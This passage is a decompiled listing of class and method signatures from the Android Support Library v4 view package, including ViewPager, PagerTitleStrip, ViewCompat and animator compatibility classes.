    private reflect.Method mSetChildrenDrawingOrderEnabled;
    private static final int DRAW_ORDER_DEFAULT = 0;
    private static final int DRAW_ORDER_FORWARD = 1;
    private static final int DRAW_ORDER_REVERSE = 2;
    private int mDrawingOrder;
    private java.util.ArrayList mDrawingOrderedChildren;
    private static final ViewPager$ViewPositionComparator sPositionComparator;
    public static final int SCROLL_STATE_IDLE = 0;
    public static final int SCROLL_STATE_DRAGGING = 1;
    public static final int SCROLL_STATE_SETTLING = 2;
    private final Runnable mEndScrollRunnable;
    private int mScrollState;
    public void ViewPager(android.content.Context);
    public void ViewPager(android.content.Context, android.util.AttributeSet);
    void initViewPager();
    protected void onDetachedFromWindow();
    private void setScrollState(int);
    public void setAdapter(PagerAdapter);
    private void removeNonDecorViews();
    public PagerAdapter getAdapter();
    void setOnAdapterChangeListener(ViewPager$OnAdapterChangeListener);
    private int getClientWidth();
    public void setCurrentItem(int);
    public void setCurrentItem(int, boolean);
    public int getCurrentItem();
    void setCurrentItemInternal(int, boolean, boolean);
    void setCurrentItemInternal(int, boolean, boolean, int);
    private void scrollToItem(int, boolean, int, boolean);
    public void setOnPageChangeListener(ViewPager$OnPageChangeListener);
    public void setPageTransformer(boolean, ViewPager$PageTransformer);
    void setChildrenDrawingOrderEnabledCompat(boolean);
    protected int getChildDrawingOrder(int, int);
    ViewPager$OnPageChangeListener setInternalPageChangeListener(ViewPager$OnPageChangeListener);
    public int getOffscreenPageLimit();
    public void setOffscreenPageLimit(int);
    public void setPageMargin(int);
    public int getPageMargin();
    public void setPageMarginDrawable(android.graphics.drawable.Drawable);
    public void setPageMarginDrawable(int);
    protected boolean verifyDrawable(android.graphics.drawable.Drawable);
    protected void drawableStateChanged();
    float distanceInfluenceForSnapDuration(float);
    void smoothScrollTo(int, int);
    void smoothScrollTo(int, int, int);
    ViewPager$ItemInfo addNewItem(int, int);
    void dataSetChanged();
    void populate();
    void populate(int);
    private void sortChildDrawingOrder();
    private void calculatePageOffsets(ViewPager$ItemInfo, int, ViewPager$ItemInfo);
    public android.os.Parcelable onSaveInstanceState();
    public void onRestoreInstanceState(android.os.Parcelable);
    public void addView(android.view.View, int, android.view.ViewGroup$LayoutParams);
    public void removeView(android.view.View);
    ViewPager$ItemInfo infoForChild(android.view.View);
    ViewPager$ItemInfo infoForAnyChild(android.view.View);
    ViewPager$ItemInfo infoForPosition(int);
    protected void onAttachedToWindow();
    protected void onMeasure(int, int);
    protected void onSizeChanged(int, int, int, int);
    private void recomputeScrollPosition(int, int, int, int);
    protected void onLayout(boolean, int, int, int, int);
    public void computeScroll();
    private boolean pageScrolled(int);
    protected void onPageScrolled(int, float, int);
    private void completeScroll(boolean);
    private boolean isGutterDrag(float, float);
    private void enableLayers(boolean);
    public boolean onInterceptTouchEvent(android.view.MotionEvent);
    public boolean onTouchEvent(android.view.MotionEvent);
    private void requestParentDisallowInterceptTouchEvent(boolean);
    private boolean performDrag(float);
    private ViewPager$ItemInfo infoForCurrentScrollPosition();
    private int determineTargetPage(int, float, int, int);
    public void draw(android.graphics.Canvas);
    protected void onDraw(android.graphics.Canvas);
    public boolean beginFakeDrag();
    public void endFakeDrag();
    public void fakeDragBy(float);
    public boolean isFakeDragging();
    private void onSecondaryPointerUp(android.view.MotionEvent);
    private void endDrag();
    private void setScrollingCacheEnabled(boolean);
    public boolean canScrollHorizontally(int);
    protected boolean canScroll(android.view.View, boolean, int, int, int);
    public boolean dispatchKeyEvent(android.view.KeyEvent);
    public boolean executeKeyEvent(android.view.KeyEvent);
    public boolean arrowScroll(int);
    private android.graphics.Rect getChildRectInPagerCoordinates(android.graphics.Rect, android.view.View);
    boolean pageLeft();
    boolean pageRight();
    public void addFocusables(java.util.ArrayList, int, int);
    public void addTouchables(java.util.ArrayList);
    protected boolean onRequestFocusInDescendants(int, android.graphics.Rect);
    public boolean dispatchPopulateAccessibilityEvent(android.view.accessibility.AccessibilityEvent);
    protected android.view.ViewGroup$LayoutParams generateDefaultLayoutParams();
    protected android.view.ViewGroup$LayoutParams generateLayoutParams(android.view.ViewGroup$LayoutParams);
    protected boolean checkLayoutParams(android.view.ViewGroup$LayoutParams);
    public android.view.ViewGroup$LayoutParams generateLayoutParams(android.util.AttributeSet);
    static void <clinit>();
}










android/support/v4/view/MarginLayoutParamsCompat$MarginLayoutParamsCompatImplBase.class


package android.support.v4.view;
synchronized class MarginLayoutParamsCompat$MarginLayoutParamsCompatImplBase implements MarginLayoutParamsCompat$MarginLayoutParamsCompatImpl {
    void MarginLayoutParamsCompat$MarginLayoutParamsCompatImplBase();
    public int getMarginStart(android.view.ViewGroup$MarginLayoutParams);
    public int getMarginEnd(android.view.ViewGroup$MarginLayoutParams);
    public void setMarginStart(android.view.ViewGroup$MarginLayoutParams, int);
    public void setMarginEnd(android.view.ViewGroup$MarginLayoutParams, int);
    public boolean isMarginRelative(android.view.ViewGroup$MarginLayoutParams);
    public int getLayoutDirection(android.view.ViewGroup$MarginLayoutParams);
    public void setLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
    public void resolveLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
}










android/support/v4/view/AccessibilityDelegateCompatJellyBean$1.class


package android.support.v4.view;
final synchronized class AccessibilityDelegateCompatJellyBean$1 extends android.view.View$AccessibilityDelegate {
    void AccessibilityDelegateCompatJellyBean$1(AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, android.view.accessibility.AccessibilityNodeInfo);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
    public android.view.accessibility.AccessibilityNodeProvider getAccessibilityNodeProvider(android.view.View);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
}










android/support/v4/view/KeyEventCompat$EclairKeyEventVersionImpl.class


package android.support.v4.view;
synchronized class KeyEventCompat$EclairKeyEventVersionImpl extends KeyEventCompat$BaseKeyEventVersionImpl {
    void KeyEventCompat$EclairKeyEventVersionImpl();
    public void startTracking(android.view.KeyEvent);
    public boolean isTracking(android.view.KeyEvent);
    public Object getKeyDispatcherState(android.view.View);
    public boolean dispatch(android.view.KeyEvent, android.view.KeyEvent$Callback, Object, Object);
}










android/support/v4/view/ViewPropertyAnimatorListenerAdapter.class


package android.support.v4.view;
public synchronized class ViewPropertyAnimatorListenerAdapter implements ViewPropertyAnimatorListener {
    public void ViewPropertyAnimatorListenerAdapter();
    public void onAnimationStart(android.view.View);
    public void onAnimationEnd(android.view.View);
    public void onAnimationCancel(android.view.View);
}










android/support/v4/view/ScaleGestureDetectorCompat$BaseScaleGestureDetectorImpl.class


package android.support.v4.view;
synchronized class ScaleGestureDetectorCompat$BaseScaleGestureDetectorImpl implements ScaleGestureDetectorCompat$ScaleGestureDetectorImpl {
    private void ScaleGestureDetectorCompat$BaseScaleGestureDetectorImpl();
    public void setQuickScaleEnabled(Object, boolean);
    public boolean isQuickScaleEnabled(Object);
}










android/support/v4/view/KeyEventCompatEclair.class


package android.support.v4.view;
synchronized class KeyEventCompatEclair {
    void KeyEventCompatEclair();
    public static Object getKeyDispatcherState(android.view.View);
    public static boolean dispatch(android.view.KeyEvent, android.view.KeyEvent$Callback, Object, Object);
    public static void startTracking(android.view.KeyEvent);
    public static boolean isTracking(android.view.KeyEvent);
}










android/support/v4/view/GestureDetectorCompat.class


package android.support.v4.view;
public synchronized class GestureDetectorCompat {
    private final GestureDetectorCompat$GestureDetectorCompatImpl mImpl;
    public void GestureDetectorCompat(android.content.Context, android.view.GestureDetector$OnGestureListener);
    public void GestureDetectorCompat(android.content.Context, android.view.GestureDetector$OnGestureListener, android.os.Handler);
    public boolean isLongpressEnabled();
    public boolean onTouchEvent(android.view.MotionEvent);
    public void setIsLongpressEnabled(boolean);
    public void setOnDoubleTapListener(android.view.GestureDetector$OnDoubleTapListener);
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatHCImpl.class


package android.support.v4.view;
synchronized class ViewGroupCompat$ViewGroupCompatHCImpl extends ViewGroupCompat$ViewGroupCompatStubImpl {
    void ViewGroupCompat$ViewGroupCompatHCImpl();
    public void setMotionEventSplittingEnabled(android.view.ViewGroup, boolean);
}










android/support/v4/view/PagerTitleStrip$PagerTitleStripImpl.class


package android.support.v4.view;
abstract interface PagerTitleStrip$PagerTitleStripImpl {
    public abstract void setSingleLineAllCaps(android.widget.TextView);
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatIcsImpl.class


package android.support.v4.view;
synchronized class ViewGroupCompat$ViewGroupCompatIcsImpl extends ViewGroupCompat$ViewGroupCompatHCImpl {
    void ViewGroupCompat$ViewGroupCompatIcsImpl();
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ViewPropertyAnimatorCompatJB$1.class


package android.support.v4.view;
final synchronized class ViewPropertyAnimatorCompatJB$1 extends android.animation.AnimatorListenerAdapter {
    void ViewPropertyAnimatorCompatJB$1(ViewPropertyAnimatorListener, android.view.View);
    public void onAnimationCancel(android.animation.Animator);
    public void onAnimationEnd(android.animation.Animator);
    public void onAnimationStart(android.animation.Animator);
}










android/support/v4/view/MenuItemCompatHoneycomb.class


package android.support.v4.view;
synchronized class MenuItemCompatHoneycomb {
    void MenuItemCompatHoneycomb();
    public static void setShowAsAction(android.view.MenuItem, int);
    public static android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
    public static android.view.MenuItem setActionView(android.view.MenuItem, int);
    public static android.view.View getActionView(android.view.MenuItem);
}










android/support/v4/view/PagerTitleStrip.class


package android.support.v4.view;
public synchronized class PagerTitleStrip extends android.view.ViewGroup implements ViewPager$Decor {
    private static final String TAG = PagerTitleStrip;
    ViewPager mPager;
    android.widget.TextView mPrevText;
    android.widget.TextView mCurrText;
    android.widget.TextView mNextText;
    private int mLastKnownCurrentPage;
    private float mLastKnownPositionOffset;
    private int mScaledTextSpacing;
    private int mGravity;
    private boolean mUpdatingText;
    private boolean mUpdatingPositions;
    private final PagerTitleStrip$PageListener mPageListener;
    private ref.WeakReference mWatchingAdapter;
    private static final int[] ATTRS;
    private static final int[] TEXT_ATTRS;
    private static final float SIDE_ALPHA = 0.6;
    private static final int TEXT_SPACING = 16;
    private int mNonPrimaryAlpha;
    int mTextColor;
    private static final PagerTitleStrip$PagerTitleStripImpl IMPL;
    private static void setSingleLineAllCaps(android.widget.TextView);
    public void PagerTitleStrip(android.content.Context);
    public void PagerTitleStrip(android.content.Context, android.util.AttributeSet);
    public void setTextSpacing(int);
    public int getTextSpacing();
    public void setNonPrimaryAlpha(float);
    public void setTextColor(int);
    public void setTextSize(int, float);
    public void setGravity(int);
    protected void onAttachedToWindow();
    protected void onDetachedFromWindow();
    void updateText(int, PagerAdapter);
    public void requestLayout();
    void updateAdapter(PagerAdapter, PagerAdapter);
    void updateTextPositions(int, float, boolean);
    protected void onMeasure(int, int);
    protected void onLayout(boolean, int, int, int, int);
    int getMinHeight();
    static void <clinit>();
}










android/support/v4/view/PagerTitleStrip$1.class


package android.support.v4.view;
synchronized class PagerTitleStrip$1 {
}










android/support/v4/view/ViewCompat$LayoutDirectionMode.class


package android.support.v4.view;
abstract interface ViewCompat$LayoutDirectionMode extends annotation.Annotation {
}










android/support/v4/view/ViewPropertyAnimatorCompat$ICSViewPropertyAnimatorCompatImpl.class


package android.support.v4.view;
synchronized class ViewPropertyAnimatorCompat$ICSViewPropertyAnimatorCompatImpl extends ViewPropertyAnimatorCompat$BaseViewPropertyAnimatorCompatImpl {
    java.util.WeakHashMap mLayerMap;
    void ViewPropertyAnimatorCompat$ICSViewPropertyAnimatorCompatImpl();
    public void setDuration(ViewPropertyAnimatorCompat, android.view.View, long);
    public void alpha(ViewPropertyAnimatorCompat, android.view.View, float);
    public void translationX(ViewPropertyAnimatorCompat, android.view.View, float);
    public void translationY(ViewPropertyAnimatorCompat, android.view.View, float);
    public long getDuration(ViewPropertyAnimatorCompat, android.view.View);
    public void setInterpolator(ViewPropertyAnimatorCompat, android.view.View, android.view.animation.Interpolator);
    public void setStartDelay(ViewPropertyAnimatorCompat, android.view.View, long);
    public long getStartDelay(ViewPropertyAnimatorCompat, android.view.View);
    public void alphaBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void rotation(ViewPropertyAnimatorCompat, android.view.View, float);
    public void rotationBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void rotationX(ViewPropertyAnimatorCompat, android.view.View, float);
    public void rotationXBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void rotationY(ViewPropertyAnimatorCompat, android.view.View, float);
    public void rotationYBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void scaleX(ViewPropertyAnimatorCompat, android.view.View, float);
    public void scaleXBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void scaleY(ViewPropertyAnimatorCompat, android.view.View, float);
    public void scaleYBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void cancel(ViewPropertyAnimatorCompat, android.view.View);
    public void x(ViewPropertyAnimatorCompat, android.view.View, float);
    public void xBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void y(ViewPropertyAnimatorCompat, android.view.View, float);
    public void yBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void translationXBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void translationYBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void start(ViewPropertyAnimatorCompat, android.view.View);
    public void setListener(ViewPropertyAnimatorCompat, android.view.View, ViewPropertyAnimatorListener);
    public void withEndAction(ViewPropertyAnimatorCompat, android.view.View, Runnable);
    public void withStartAction(ViewPropertyAnimatorCompat, android.view.View, Runnable);
    public void withLayer(ViewPropertyAnimatorCompat, android.view.View);
}










android/support/v4/view/ViewPropertyAnimatorCompatJB.class


package android.support.v4.view;
synchronized class ViewPropertyAnimatorCompatJB {
    void ViewPropertyAnimatorCompatJB();
    public static void withStartAction(android.view.View, Runnable);
    public static void withEndAction(android.view.View, Runnable);
    public static void withLayer(android.view.View);
    public static void setListener(android.view.View, ViewPropertyAnimatorListener);
}










android/support/v4/view/ViewCompat$OverScroll.class


package android.support.v4.view;
abstract interface ViewCompat$OverScroll extends annotation.Annotation {
}










android/support/v4/view/ViewCompatApi21$1.class


package android.support.v4.view;
final synchronized class ViewCompatApi21$1 implements android.view.View$OnApplyWindowInsetsListener {
    void ViewCompatApi21$1(OnApplyWindowInsetsListener);
    public android.view.WindowInsets onApplyWindowInsets(android.view.View, android.view.WindowInsets);
}










android/support/v4/view/ViewParentCompat.class


package android.support.v4.view;
public synchronized class ViewParentCompat {
    static final ViewParentCompat$ViewParentCompatImpl IMPL;
    private void ViewParentCompat();
    public static boolean requestSendAccessibilityEvent(android.view.ViewParent, android.view.View, android.view.accessibility.AccessibilityEvent);
    static void <clinit>();
}










android/support/v4/view/ViewCompatEclairMr1.class


package android.support.v4.view;
synchronized class ViewCompatEclairMr1 {
    public static final String TAG = ViewCompat;
    private static reflect.Method sChildrenDrawingOrderMethod;
    void ViewCompatEclairMr1();
    public static boolean isOpaque(android.view.View);
    public static void setChildrenDrawingOrderEnabled(android.view.ViewGroup, boolean);
}










android/support/v4/view/ViewPropertyAnimatorCompat.class


package android.support.v4.view;
public synchronized class ViewPropertyAnimatorCompat {
    private static final String TAG = ViewAnimatorCompat;
    private ref.WeakReference mView;
    private Runnable mStartAction;
    private Runnable mEndAction;
    private int mOldLayerType;
    static final int LISTENER_TAG_ID = 2113929216;
    static final ViewPropertyAnimatorCompat$ViewPropertyAnimatorCompatImpl IMPL;
    void ViewPropertyAnimatorCompat(android.view.View);
    public ViewPropertyAnimatorCompat setDuration(long);
    public ViewPropertyAnimatorCompat alpha(float);
    public ViewPropertyAnimatorCompat alphaBy(float);
    public ViewPropertyAnimatorCompat translationX(float);
    public ViewPropertyAnimatorCompat translationY(float);
    public ViewPropertyAnimatorCompat withEndAction(Runnable);
    public long getDuration();
    public ViewPropertyAnimatorCompat setInterpolator(android.view.animation.Interpolator);
    public android.view.animation.Interpolator getInterpolator();
    public ViewPropertyAnimatorCompat setStartDelay(long);
    public long getStartDelay();
    public ViewPropertyAnimatorCompat rotation(float);
    public ViewPropertyAnimatorCompat rotationBy(float);
    public ViewPropertyAnimatorCompat rotationX(float);
    public ViewPropertyAnimatorCompat rotationXBy(float);
    public ViewPropertyAnimatorCompat rotationY(float);
    public ViewPropertyAnimatorCompat rotationYBy(float);
    public ViewPropertyAnimatorCompat scaleX(float);
    public ViewPropertyAnimatorCompat scaleXBy(float);
    public ViewPropertyAnimatorCompat scaleY(float);
    public ViewPropertyAnimatorCompat scaleYBy(float);
    public void cancel();
    public ViewPropertyAnimatorCompat x(float);
    public ViewPropertyAnimatorCompat xBy(float);
    public ViewPropertyAnimatorCompat y(float);
    public ViewPropertyAnimatorCompat yBy(float);
    public ViewPropertyAnimatorCompat translationXBy(float);
    public ViewPropertyAnimatorCompat translationYBy(float);
    public void start();
    public ViewPropertyAnimatorCompat withLayer();
    public ViewPropertyAnimatorCompat withStartAction(Runnable);
    public ViewPropertyAnimatorCompat setListener(ViewPropertyAnimatorListener);
    public ViewPropertyAnimatorCompat setUpdateListener(ViewPropertyAnimatorUpdateListener);
    static void <clinit>();
}










android/support/v4/view/ViewGroupCompatHC.class


package android.support.v4.view;
synchronized class ViewGroupCompatHC {
    private void ViewGroupCompatHC();
    public static void setMotionEventSplittingEnabled(android.view.ViewGroup, boolean);
}










android/support/v4/view/ViewCompat$HCViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$HCViewCompatImpl extends ViewCompat$GBViewCompatImpl {
    void ViewCompat$HCViewCompatImpl();
    long getFrameTime();
    public float getAlpha(android.view.View);
    public void setLayerType(android.view.View, int, android.graphics.Paint);
    public int getLayerType(android.view.View);
    public void setLayerPaint(android.view.View, android.graphics.Paint);
    public int resolveSizeAndState(int, int, int);
    public int getMeasuredWidthAndState(android.view.View);
    public int getMeasuredHeightAndState(android.view.View);
    public int getMeasuredState(android.view.View);
    public float getTranslationX(android.view.View);
    public float getTranslationY(android.view.View);
    public void setTranslationX(android.view.View, float);
    public void setTranslationY(android.view.View, float);
    public void setAlpha(android.view.View, float);
    public void setX(android.view.View, float);
    public void setY(android.view.View, float);
    public void setRotation(android.view.View, float);
    public void setRotationX(android.view.View, float);
    public void setRotationY(android.view.View, float);
    public void setScaleX(android.view.View, float);
    public void setScaleY(android.view.View, float);
    public void setPivotX(android.view.View, float);
    public void setPivotY(android.view.View, float);
    public float getX(android.view.View);
    public float getY(android.view.View);
    public float getRotation(android.view.View);
    public float getRotationX(android.view.View);
    public float getRotationY(android.view.View);
    public float getScaleX(android.view.View);
    public float getScaleY(android.view.View);
    public float getPivotX(android.view.View);
    public float getPivotY(android.view.View);
    public void jumpDrawablesToCurrentState(android.view.View);
}










android/support/v4/view/GravityCompat$GravityCompatImplBase.class


package android.support.v4.view;
synchronized class GravityCompat$GravityCompatImplBase implements GravityCompat$GravityCompatImpl {
    void GravityCompat$GravityCompatImplBase();
    public int getAbsoluteGravity(int, int);
    public void apply(int, int, int, android.graphics.Rect, android.graphics.Rect, int);
    public void apply(int, int, int, android.graphics.Rect, int, int, android.graphics.Rect, int);
    public void applyDisplay(int, android.graphics.Rect, android.graphics.Rect, int);
}










android/support/v4/view/PagerAdapter.class


package android.support.v4.view;
public abstract synchronized class PagerAdapter {
    private android.database.DataSetObservable mObservable;
    public static final int POSITION_UNCHANGED = -1;
    public static final int POSITION_NONE = -2;
    public void PagerAdapter();
    public abstract int getCount();
    public void startUpdate(android.view.ViewGroup);
    public Object instantiateItem(android.view.ViewGroup, int);
    public void destroyItem(android.view.ViewGroup, int, Object);
    public void setPrimaryItem(android.view.ViewGroup, int, Object);
    public void finishUpdate(android.view.ViewGroup);
    public void startUpdate(android.view.View);
    public Object instantiateItem(android.view.View, int);
    public void destroyItem(android.view.View, int, Object);
    public void setPrimaryItem(android.view.View, int, Object);
    public void finishUpdate(android.view.View);
    public abstract boolean isViewFromObject(android.view.View, Object);
    public android.os.Parcelable saveState();
    public void restoreState(android.os.Parcelable, ClassLoader);
    public int getItemPosition(Object);
    public void notifyDataSetChanged();
    public void registerDataSetObserver(android.database.DataSetObserver);
    public void unregisterDataSetObserver(android.database.DataSetObserver);
    public CharSequence getPageTitle(int);
    public float getPageWidth(int);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl extends AccessibilityDelegateCompat$AccessibilityDelegateStubImpl {
    void AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl();
    public Object newAccessiblityDelegateDefaultImpl();
    public Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat);
    public boolean dispatchPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(Object, android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public void onPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(Object, android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(Object, android.view.View, int);
    public void sendAccessibilityEventUnchecked(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ViewPropertyAnimatorUpdateListener.class


package android.support.v4.view;
public abstract interface ViewPropertyAnimatorUpdateListener {
    public abstract void onAnimationUpdate(android.view.View);
}










android/support/v4/view/ViewPropertyAnimatorCompat$ICSViewPropertyAnimatorCompatImpl$MyVpaListener.class


package android.support.v4.view;
synchronized class ViewPropertyAnimatorCompat$ICSViewPropertyAnimatorCompatImpl$MyVpaListener implements ViewPropertyAnimatorListener {
    ViewPropertyAnimatorCompat mVpa;
    void ViewPropertyAnimatorCompat$ICSViewPropertyAnimatorCompatImpl$MyVpaListener(ViewPropertyAnimatorCompat);
    public void onAnimationStart(android.view.View);
    public void onAnimationEnd(android.view.View);
    public void onAnimationCancel(android.view.View);
}










android/support/v4/view/ViewParentCompatICS.class


package android.support.v4.view;
public synchronized class ViewParentCompatICS {
    public void ViewParentCompatICS();
    public static boolean requestSendAccessibilityEvent(android.view.ViewParent, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ActionProvider.class


package android.support.v4.view;
public abstract synchronized class ActionProvider {
    private static final String TAG = ActionProvider(support);
    private final android.content.Context mContext;
    private ActionProvider$SubUiVisibilityListener mSubUiVisibilityListener;
    private ActionProvider$VisibilityListener mVisibilityListener;
    public void ActionProvider(android.content.Context);
    public android.content.Context getContext();
    public abstract android.view.View onCreateActionView();
    public android.view.View onCreateActionView(android.view.MenuItem);
    public boolean overridesItemVisibility();
    public boolean isVisible();
    public void refreshVisibility();
    public boolean onPerformDefaultAction();
    public boolean hasSubMenu();
    public void onPrepareSubMenu(android.view.SubMenu);
    public void subUiVisibilityChanged(boolean);
    public void setSubUiVisibilityListener(ActionProvider$SubUiVisibilityListener);
    public void setVisibilityListener(ActionProvider$VisibilityListener);
}










android/support/v4/view/ScaleGestureDetectorCompat$ScaleGestureDetectorImpl.class


package android.support.v4.view;
abstract interface ScaleGestureDetectorCompat$ScaleGestureDetectorImpl {
    public abstract void setQuickScaleEnabled(Object, boolean);
    public abstract boolean isQuickScaleEnabled(Object);
}










android/support/v4/view/ViewConfigurationCompat$HoneycombViewConfigurationVersionImpl.class


package android.support.v4.view;
synchronized class ViewConfigurationCompat$HoneycombViewConfigurationVersionImpl extends ViewConfigurationCompat$FroyoViewConfigurationVersionImpl {
    void ViewConfigurationCompat$HoneycombViewConfigurationVersionImpl();
    public boolean hasPermanentMenuKey(android.view.ViewConfiguration);
}










android/support/v4/view/ActionProvider$VisibilityListener.class


package android.support.v4.view;
public abstract interface ActionProvider$VisibilityListener {
    public abstract void onActionProviderVisibilityChanged(boolean);
}










android/support/v4/view/ViewCompat$KitKatViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$KitKatViewCompatImpl extends ViewCompat$JbMr1ViewCompatImpl {
    void ViewCompat$KitKatViewCompatImpl();
    public int getAccessibilityLiveRegion(android.view.View);
    public void setAccessibilityLiveRegion(android.view.View, int);
    public void setImportantForAccessibility(android.view.View, int);
}










android/support/v4/view/MarginLayoutParamsCompat$MarginLayoutParamsCompatImplJbMr1.class


package android.support.v4.view;
synchronized class MarginLayoutParamsCompat$MarginLayoutParamsCompatImplJbMr1 implements MarginLayoutParamsCompat$MarginLayoutParamsCompatImpl {
    void MarginLayoutParamsCompat$MarginLayoutParamsCompatImplJbMr1();
    public int getMarginStart(android.view.ViewGroup$MarginLayoutParams);
    public int getMarginEnd(android.view.ViewGroup$MarginLayoutParams);
    public void setMarginStart(android.view.ViewGroup$MarginLayoutParams, int);
    public void setMarginEnd(android.view.ViewGroup$MarginLayoutParams, int);
    public boolean isMarginRelative(android.view.ViewGroup$MarginLayoutParams);
    public int getLayoutDirection(android.view.ViewGroup$MarginLayoutParams);
    public void setLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
    public void resolveLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
}










android/support/v4/view/ScaleGestureDetectorCompat$1.class


package android.support.v4.view;
synchronized class ScaleGestureDetectorCompat$1 {
}










android/support/v4/view/ViewCompat$ResolvedLayoutDirectionMode.class


package android.support.v4.view;
abstract interface ViewCompat$ResolvedLayoutDirectionMode extends annotation.Annotation {
}










android/support/v4/view/ViewCompat$ICSViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$ICSViewCompatImpl extends ViewCompat$HCViewCompatImpl {
    static reflect.Field mAccessibilityDelegateField;
    static boolean accessibilityDelegateCheckFailed;
    void ViewCompat$ICSViewCompatImpl();
    public boolean canScrollHorizontally(android.view.View, int);
    public boolean canScrollVertically(android.view.View, int);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public void setAccessibilityDelegate(android.view.View, AccessibilityDelegateCompat);
    public boolean hasAccessibilityDelegate(android.view.View);
    public ViewPropertyAnimatorCompat animate(android.view.View);
    static void <clinit>();
}










android/support/v4/view/GestureDetectorCompat$GestureDetectorCompatImplBase$GestureHandler.class


package android.support.v4.view;
synchronized class GestureDetectorCompat$GestureDetectorCompatImplBase$GestureHandler extends android.os.Handler {
    void GestureDetectorCompat$GestureDetectorCompatImplBase$GestureHandler(GestureDetectorCompat$GestureDetectorCompatImplBase);
    void GestureDetectorCompat$GestureDetectorCompatImplBase$GestureHandler(GestureDetectorCompat$GestureDetectorCompatImplBase, android.os.Handler);
    public void handleMessage(android.os.Message);
}










android/support/v4/view/PagerTitleStripIcs.class


package android.support.v4.view;
synchronized class PagerTitleStripIcs {
    void PagerTitleStripIcs();
    public static void setSingleLineAllCaps(android.widget.TextView);
}










android/support/v4/view/ViewPager$2.class


package android.support.v4.view;
final synchronized class ViewPager$2 implements android.view.animation.Interpolator {
    void ViewPager$2();
    public float getInterpolation(float);
}










android/support/v4/view/PagerTabStrip$2.class


package android.support.v4.view;
synchronized class PagerTabStrip$2 implements android.view.View$OnClickListener {
    void PagerTabStrip$2(PagerTabStrip);
    public void onClick(android.view.View);
}










android/support/v4/view/ViewCompatApi21.class


package android.support.v4.view;
synchronized class ViewCompatApi21 {
    void ViewCompatApi21();
    public static void setTransitionName(android.view.View, String);
    public static String getTransitionName(android.view.View);
    public static void requestApplyInsets(android.view.View);
    public static void setElevation(android.view.View, float);
    public static float getElevation(android.view.View);
    public static void setTranslationZ(android.view.View, float);
    public static float getTranslationZ(android.view.View);
    public static void setOnApplyWindowInsetsListener(android.view.View, OnApplyWindowInsetsListener);
}










android/support/v4/view/MarginLayoutParamsCompat.class


package android.support.v4.view;
public synchronized class MarginLayoutParamsCompat {
    static final MarginLayoutParamsCompat$MarginLayoutParamsCompatImpl IMPL;
    public void MarginLayoutParamsCompat();
    public static int getMarginStart(android.view.ViewGroup$MarginLayoutParams);
    public static int getMarginEnd(android.view.ViewGroup$MarginLayoutParams);
    public static void setMarginStart(android.view.ViewGroup$MarginLayoutParams, int);
    public static void setMarginEnd(android.view.ViewGroup$MarginLayoutParams, int);
    public static boolean isMarginRelative(android.view.ViewGroup$MarginLayoutParams);
    public static int getLayoutDirection(android.view.ViewGroup$MarginLayoutParams);
    public static void setLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
    public static void resolveLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
    static void <clinit>();
}










android/support/v4/view/ViewCompatHC.class


package android.support.v4.view;
synchronized class ViewCompatHC {
    void ViewCompatHC();
    static long getFrameTime();
    public static float getAlpha(android.view.View);
    public static void setLayerType(android.view.View, int, android.graphics.Paint);
    public static int getLayerType(android.view.View);
    public static int resolveSizeAndState(int, int, int);
    public static int getMeasuredWidthAndState(android.view.View);
    public static int getMeasuredHeightAndState(android.view.View);
    public static int getMeasuredState(android.view.View);
